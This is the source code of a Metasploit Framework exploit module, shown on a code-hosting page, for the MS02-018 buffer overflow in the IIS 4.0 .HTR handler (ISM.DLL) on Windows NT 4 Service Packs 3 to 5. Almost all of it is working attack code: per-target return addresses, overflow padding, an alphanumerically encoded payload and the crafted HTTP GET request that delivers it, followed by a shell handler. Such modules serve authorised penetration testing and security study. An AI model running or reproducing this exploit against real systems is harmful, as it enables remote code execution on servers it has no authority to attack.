Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/iis/ms02_018_htr.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',13'Description' => %q{14This exploits a buffer overflow in the ISAPI ISM.DLL used to15process HTR scripting in IIS 4.0. This module works against16Windows NT 4 Service Packs 3, 4, and 5. The server will17continue to process requests until the payload being18executed has exited. If you've set EXITFUNC to 'seh', the19server will continue processing requests, but you will have20trouble terminating a bind shell. If you set EXITFUNC to21thread, the server will crash upon exit of the bind shell.22The payload is alpha-numerically encoded without a NOP sled23because otherwise the data gets mangled by the filters.24},25'Author' => [ 'stinko' ],26'License' => BSD_LICENSE,27'References' =>28[29[ 'CVE', '1999-0874'],30[ 'OSVDB', '3325'],31[ 'BID', '307'],32[ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],33[ 'MSB', 'MS02-018'],34],35'Privileged' => true,36'Payload' =>37{38'Space' => 2048,39'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),40'StackAdjustment' => -3500,41},42'Platform' => 'win',43'Targets' =>44[45['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],46['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],47['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],48],49'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub50'DisclosureDate' => '2002-04-10',51'DefaultTarget' => 0))5253register_options(54[55Opt::RPORT(80)56])57end5859def exploit60connect6162buf = 'X' * target['Rets'][0]63buf << [ target['Rets'][1] ].pack('V')64buf << payload.encoded6566req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"67print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])68sock.put(req)69handler70disconnect71end72end737475